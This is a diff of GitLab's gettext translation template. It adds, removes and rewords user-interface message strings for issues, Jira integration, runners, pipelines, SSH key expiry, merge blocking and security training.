@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
